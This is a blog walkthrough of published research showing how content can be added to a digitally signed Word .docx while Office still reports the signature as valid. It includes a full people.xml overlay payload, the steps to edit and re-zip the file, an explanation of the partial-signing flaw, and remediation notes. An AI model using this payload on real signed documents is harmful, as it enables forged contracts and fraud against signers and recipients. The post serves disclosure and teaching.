Covertly Tampering Digitally Signed Documents
This post is a quick walkthrough of an attack identified by Simon Rohlmann, Vladislav Mladenov, Christian Mainka, Daniel Hirschberger, and Jörg Schwenk of Ruhr University Bochum in their brilliant paper “Every Signature is Broken: On the Insecurity of Microsoft Office’s OOXML Signatures”.
They analysed 6000+ pages of the Office Open XML File Formats standard and tested Microsoft Office products for their (in)correct implementation of digital signatures.
The upshot is that, at the time of writing, if you open a Microsoft Office document with a ‘valid’ digital signature, you can absolutely not trust that signature.
We’ll step through an example attack and see why it’s possible.
Digital signatures
First, we should define digital signatures. Here, we’re not talking about images of squiggly lines (i.e. digital images of a person’s handwritten signature), but a cryptographic stamp involving digital certificates and hashes of the document’s content.
Digital signatures ensure:
- Authenticity: you’re really the one who signed it. We know this because the certificate authority vouches for your identity, and you’re the only one with the private key that corresponds to the signature.
- Integrity: the document hasn’t been changed since you signed it. We know this because the document’s content hashes are part of the signature. If even one bit of the document is changed after signing, it yields a different hash and the signature’s checksum will fail - invalidating the signature.
- Non-Repudiation: if the signature is valid, you can’t deny having signed it due to the previous two points.
Given that, it’d be fairly disastrous if you signed something - say a contract - only to find later that it’s totally changed, but your signature still appears valid… right? That’s exactly what the researchers found was possible in Microsoft’s implementation of digital signatures. They enumerated a tonne of inventive attacks - we’ll walk through just one.
The Attack
The element we’ll attack here is Integrity. We’ll create and sign a document, then add arbitrary content as an attacker, re-open the file and find the signature is still valid.
Pre-requisites & Setup
You just need a Windows machine to follow along. If anything doesn’t work for you, try checking the researchers' github repo for updates or issues.
I ran through this in Word 2019 on Windows 10. To install the same Office version, first install the Office Deployment Tool. Then download this config file and run the deployment tool in cmd.exe
with the config file as an argument:
setup.exe /configure config-file.xml
Also install WinRar or your preferred archiving tool and you’ll be good to go.
Attack Steps
- Fire up Word, create a blank document and create a document to sign:
The document originally features a nice chunky sum of $1,000,000.
- Sign it by going to Insert > Signature Line > Microsoft Office Signature Line. You can leave the default values. Click OK.
-
On the resulting signature line, right click and select ‘Sign’. You’ll get a prompt to save the document as a
.docx
file - do so in a location of your choice. -
In the prompt, optionally write a name, choose your signing certificate etc. and click ‘Sign’:
- You get a popup which, as we’ll soon see, is talking absolute nonsense:
This is a bare-faced lie. Click ‘OK’ with an eye-roll and optional tut/head-shake combo.
- Close the doc and open up WinRar. Like many other file formats,
.docx
is just a.zip
in disguise, so we can extract its contents. Do so to a location of your choice. You should see a folder structure like this:
- Now we’ll modify the signed doc with the ‘attacker’ content. Go into the
word/
folder and create a file calledpeople.xml
. This file will create a text box with a white background that will cover the original content, effectively replacing it with attacker-controlled text. Populate the file with the following:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w15:people xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas.microsoft.com/office/drawing/2015/9/8/chartex" xmlns:cx2="http://schemas.microsoft.com/office/drawing/2015/10/21/chartex" xmlns:cx3="http://schemas.microsoft.com/office/drawing/2016/5/9/chartex" xmlns:cx4="http://schemas.microsoft.com/office/drawing/2016/5/10/chartex" xmlns:cx5="http://schemas.microsoft.com/office/drawing/2016/5/11/chartex" xmlns:cx6="http://schemas.microsoft.com/office/drawing/2016/5/12/chartex" xmlns:cx7="http://schemas.microsoft.com/office/drawing/2016/5/13/chartex" xmlns:cx8="http://schemas.microsoft.com/office/drawing/2016/5/14/chartex" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:aink="http://schemas.microsoft.com/office/drawing/2016/ink" xmlns:am3d="http://schemas.microsoft.com/office/drawing/2017/model3d" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16cid="http://schemas.microsoft.com/office/word/2016/wordml/cid" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 w16se w16cid wp14"><w15:person w15:author="Attacker"><w15:presenceInfo w15:providerId="None" w15:userId="Attacker"/></w15:person><w:body><w:p w14:paraId="57AFAE25" w14:textId="48D09B19" w:rsidR="007F5E25" w:rsidRPr="00EA7164" w:rsidRDefault="00F66D29"><w:pPr><w:rPr><w:lang w:val="en-US"/></w:rPr></w:pPr><w:r><w:rPr><w:noProof/></w:rPr><mc:AlternateContent><mc:Choice Requires="wps"><w:drawing><wp:anchor distT="45720" distB="45720" distL="114300" distR="114300" simplePos="0" relativeHeight="251659264" behindDoc="0" locked="0" layoutInCell="1" allowOverlap="1" wp14:anchorId="59C4E845" wp14:editId="7094F46A"><wp:simplePos x="0" y="0"/><wp:positionH relativeFrom="margin"><wp:align>left</wp:align></wp:positionH><wp:positionV relativeFrom="margin"><wp:align>top</wp:align></wp:positionV><wp:extent cx="6276975" cy="8143875"/><wp:effectExtent l="0" t="0" r="9525" b="9525"/><wp:wrapNone/><wp:docPr id="217" name="Text Box 2"/><wp:cNvGraphicFramePr><a:graphicFrameLocks xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"/></wp:cNvGraphicFramePr><a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"><a:graphicData uri="http://schemas.microsoft.com/office/word/2010/wordprocessingShape"><wps:wsp><wps:cNvSpPr txBox="1"><a:spLocks noChangeArrowheads="1"/></wps:cNvSpPr><wps:spPr bwMode="auto"><a:xfrm><a:off x="0" y="0"/><a:ext cx="6276975" cy="8143875"/></a:xfrm><a:prstGeom prst="rect"><a:avLst/></a:prstGeom><a:solidFill><a:schemeClr val="bg1"/></a:solidFill><a:ln w="9525"><a:noFill/><a:miter lim="800000"/><a:headEnd/><a:tailEnd/></a:ln></wps:spPr><wps:txbx><w:txbxContent><w:p w14:paraId="4A9E8B5E" w14:textId="77777777" w:rsidR="00F66D29" w:rsidRDefault="00F66D29" w:rsidP="00F66D29"><w:pPr><w:pStyle w:val="PlainText"/></w:pPr><w:bookmarkStart w:id="0" w:name="_GoBack"/><w:r><w:t>CHANGEME</w:t></w:r></w:p><w:p w14:paraId="3F5577E7" w14:textId="4CE5C231" w:rsidR="00F66D29" w:rsidRDefault="00F66D29" w:rsidP="00F66D29"><w:pPr><w:pStyle w:val="PlainText"/></w:pPr><w:r><w:t>CHANGEME</w:t></w:r></w:p><w:bookmarkEnd w:id="0"/><w:p w14:paraId="34715DEA" w14:textId="6AB2060A" w:rsidR="00F66D29" w:rsidRDefault="00F66D29"/></w:txbxContent></wps:txbx><wps:bodyPr rot="0" vert="horz" wrap="square" lIns="91440" tIns="45720" rIns="91440" bIns="45720" anchor="t" anchorCtr="0"><a:noAutofit/></wps:bodyPr></wps:wsp></a:graphicData></a:graphic><wp14:sizeRelH relativeFrom="margin"><wp14:pctWidth>0</wp14:pctWidth></wp14:sizeRelH><wp14:sizeRelV relativeFrom="margin"><wp14:pctHeight>0</wp14:pctHeight></wp14:sizeRelV></wp:anchor></w:drawing></mc:Choice><mc:Fallback><w:pict><v:shapetype w14:anchorId="59C4E845" id="_x0000_t202" coordsize="21600,21600" o:spt="202" path="m,l,21600r21600,l21600,xe"><v:stroke joinstyle="miter"/><v:path gradientshapeok="t" o:connecttype="rect"/></v:shapetype><v:shape id="Text Box 2" o:spid="_x0000_s1026" type="#_x0000_t202" style="position:absolute;margin-left:0;margin-top:0;width:494.25pt;height:641.25pt;z-index:251659264;visibility:visible;mso-wrap-style:square;mso-width-percent:0;mso-height-percent:0;mso-wrap-distance-left:9pt;mso-wrap-distance-top:3.6pt;mso-wrap-distance-right:9pt;mso-wrap-distance-bottom:3.6pt;mso-position-horizontal:left;mso-position-horizontal-relative:margin;mso-position-vertical:top;mso-position-vertical-relative:margin;mso-width-percent:0;mso-height-percent:0;mso-width-relative:margin;mso-height-relative:margin;v-text-anchor:top" o:gfxdata="UEsDBBQABgAIAAAAIQC2gziS/gAAAOEBAAATAAAAW0NvbnRlbnRfVHlwZXNdLnhtbJSRQU7DMBBF
90jcwfIWJU67QAgl6YK0S0CoHGBkTxKLZGx5TGhvj5O2G0SRWNoz/78nu9wcxkFMGNg6quQqL6RA
0s5Y6ir5vt9lD1JwBDIwOMJKHpHlpr69KfdHjyxSmriSfYz+USnWPY7AufNIadK6MEJMx9ApD/oD
OlTrorhX2lFEilmcO2RdNtjC5xDF9pCuTyYBB5bi6bQ4syoJ3g9WQ0ymaiLzg5KdCXlKLjvcW893
SUOqXwnz5DrgnHtJTxOsQfEKIT7DmDSUCaxw7Rqn8787ZsmRM9e2VmPeBN4uqYvTtW7jvijg9N/y
JsXecLq0q+WD6m8AAAD//wMAUEsDBBQABgAIAAAAIQA4/SH/1gAAAJQBAAALAAAAX3JlbHMvLnJl
bHOkkMFqwzAMhu+DvYPRfXGawxijTi+j0GvpHsDYimMaW0Yy2fr2M4PBMnrbUb/Q94l/f/hMi1qR
JVI2sOt6UJgd+ZiDgffL8ekFlFSbvV0oo4EbChzGx4f9GRdb25HMsYhqlCwG5lrLq9biZkxWOiqY
22YiTra2kYMu1l1tQD30/bPm3wwYN0x18gb45AdQl1tp5j/sFB2T0FQ7R0nTNEV3j6o9feQzro1i
OWA14Fm+Q8a1a8+Bvu/d/dMb2JY5uiPbhG/ktn4cqGU/er3pcvwCAAD//wMAUEsDBBQABgAIAAAA
IQCCfDLfIAIAAB0EAAAOAAAAZHJzL2Uyb0RvYy54bWysU9uO2yAQfa/Uf0C8N47dXK04q222W1Xa
XqTdfgDGOEYFhgKJnX59B5zNRtu3qn6wGGY4nDlz2NwMWpGjcF6CqWg+mVIiDIdGmn1Ffzzdv1tR
4gMzDVNgREVPwtOb7ds3m96WooAOVCMcQRDjy95WtAvBllnmeSc08xOwwmCyBadZwNDts8axHtG1
yorpdJH14BrrgAvvcfduTNJtwm9bwcO3tvUiEFVR5BbS36V/Hf/ZdsPKvWO2k/xMg/0DC82kwUsv
UHcsMHJw8i8oLbkDD22YcNAZtK3kIvWA3eTTV908dsyK1AuK4+1FJv//YPnX43dHZFPRIl9SYpjG
IT2JIZAPMJAi6tNbX2LZo8XCMOA2zjn16u0D8J+eGNh1zOzFrXPQd4I1yC+PJ7OroyOOjyB1/wUa
vIYdAiSgoXU6iodyEETHOZ0us4lUOG4uiuVivZxTwjG3ymfvVxjEO1j5fNw6Hz4J0CQuKupw+Ame
HR98GEufS+JtHpRs7qVSKYiGEzvlyJGhVer92MCrKmVIX9H1vJgnYAPxOCKzUsuAPlZSI7lp/EZn
RTU+miaVBCbVuEbOypzliYqM2oShHrAwalZDc0KhHIx+xfeFiw7cb0p69GpF/a8Dc4IS9dmg2Ot8
NovmTsFsviwwcNeZ+jrDDEeoigZKxuUupAcR2zBwi0NpZZLrhcmZK3owCX5+L9Hk13GqennV2z8A
AAD//wMAUEsDBBQABgAIAAAAIQCqkA9Z2wAAAAYBAAAPAAAAZHJzL2Rvd25yZXYueG1sTI/BTsMw
EETvSPyDtUjcqE2kgglxKkDiwgW1VJydeBunje3IdpvA17NwoZeRVjOaeVutZjewE8bUB6/gdiGA
oW+D6X2nYPvxeiOBpay90UPwqOALE6zqy4tKlyZMfo2nTe4YlfhUagU257HkPLUWnU6LMKInbxei
05nO2HET9UTlbuCFEHfc6d7TgtUjvlhsD5ujU/DZ7fG5f4vf4p2L6SDDetvcW6Wur+anR2AZ5/wf
hl98QoeamJpw9CaxQQE9kv+UvAcpl8AaChWyWAKvK36OX/8AAAD//wMAUEsBAi0AFAAGAAgAAAAh
ALaDOJL+AAAA4QEAABMAAAAAAAAAAAAAAAAAAAAAAFtDb250ZW50X1R5cGVzXS54bWxQSwECLQAU
AAYACAAAACEAOP0h/9YAAACUAQAACwAAAAAAAAAAAAAAAAAvAQAAX3JlbHMvLnJlbHNQSwECLQAU
AAYACAAAACEAgnwy3yACAAAdBAAADgAAAAAAAAAAAAAAAAAuAgAAZHJzL2Uyb0RvYy54bWxQSwEC
LQAUAAYACAAAACEAqpAPWdsAAAAGAQAADwAAAAAAAAAAAAAAAAB6BAAAZHJzL2Rvd25yZXYueG1s
UEsFBgAAAAAEAAQA8wAAAIIFAAAAAA==
" fillcolor="white [3212]" stroked="f"><v:textbox><w:txbxContent><w:p w14:paraId="4A9E8B5E" w14:textId="77777777" w:rsidR="00F66D29" w:rsidRDefault="00F66D29" w:rsidP="00F66D29"><w:pPr><w:pStyle w:val="PlainText"/></w:pPr><w:bookmarkStart w:id="1" w:name="_GoBack"/><w:r><w:t>This document has been manipulated by the attacker.</w:t></w:r></w:p><w:p w14:paraId="3F5577E7" w14:textId="4CE5C231" w:rsidR="00F66D29" w:rsidRDefault="00F66D29" w:rsidP="00F66D29"><w:pPr><w:pStyle w:val="PlainText"/></w:pPr><w:r><w:t>The content is chosen by the attacker.</w:t></w:r></w:p><w:bookmarkEnd w:id="1"/><w:p w14:paraId="34715DEA" w14:textId="6AB2060A" w:rsidR="00F66D29" w:rsidRDefault="00F66D29"/></w:txbxContent></v:textbox><w10:wrap anchorx="margin" anchory="margin"/></v:shape></w:pict></mc:Fallback></mc:AlternateContent></w:r></w:p><w:sectPr w:rsidR="007F5E25" w:rsidRPr="00EA7164" w:rsidSect="00D138D8"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="708" w:footer="708" w:gutter="0"/><w:cols w:space="708"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w15:people>
Find and replace
CHANGEME
with any text you like.
- Next, we need to link the file we just created in two other places. First, open
[Content_Types].xml
and add the following tag:
<Override PartName="/word/people.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.people+xml"/>
You can add it just before the final closing
</Types>
tag of the file. The file was only partially signed during the signing flow, so we can add content without invalidating the signature.
- Next, open
/word/_rels/document.xml.rels
. Look for the Relationship IDs - they look likeId="rId6"
and are numbered sequentially. Find the highest number. Insert the following tag, giving it an ID one greater than the highest existing ID. In my case, it was 7:
<Relationship Id="rId7" Type="http://schemas.microsoft.com/office/2011/relationships/people" Target="people.xml"/>
You can add it just before the final closing
</Relationships>
tag of the file. Again, this file was only partially signed, leaving an attacker free to add to it.
- Ensure the three files are saved, and re-zip the whole lot up into a new
.docx
file.
- Open the resulting file. You’ll see the attacker-chosen content and Word will tell you the signature is v a l i d
The modified file has a much less chunky amount of $1 and no indication whatsoever that it was tampered after signing.
How on earth is this possible?
When you sign a document in Microsoft Office, the existing content is signed and hashes are correctly checked.
For example, in the walkthrough, we could have tried opening /word/document.xml
and directly tampering the original text: <w:t>I hereby promise to send the amount of $1,000,000.</w:t>
. However, this would have caused a checksum failure and the signature would have been invalidated.
But during the attack, we didn’t tamper any existing content, we added it. Office checks the integrity of existing content, but doesn’t verify the addition of new content.
The people.xml
file is a legitimate file that Office uses to implement features like comments etc. In the attack, we added it and used it to create a text box that overlayed the existing content. As it wasn’t present during the signing flow, it didn’t figure in the signature verification process when the document was re-opened.
Similarly, the document.xml.rels
and [Content_Types].xml
files were only partially signed during the signing flow, so as long as no existing values were changed, we could add to them without invalidating the signature.
Therefore, as long as we only add content, leaving the existing signed (or partially-signed) content untouched, we can do so without invalidating the signature.
Remediation
This particular attack exploits a vulnerability in the OOXML standard itself - its support of partial signatures. Full signing of all files would preclude the attack.
The paper also outlines many other attack classes such as ‘Universal Signature Forgery’, that allows an attacker to take a third party’s signature and validly insert it into any document. This comes from an Office-specific implementation fault.
According to the paper, Microsoft has been made aware of the flaws, but has no immediate plans for remediation. Until then, we’ll just have to take Office signatures with a grain of salt.
Thanks for reading, as always feel free to connect or get in touch!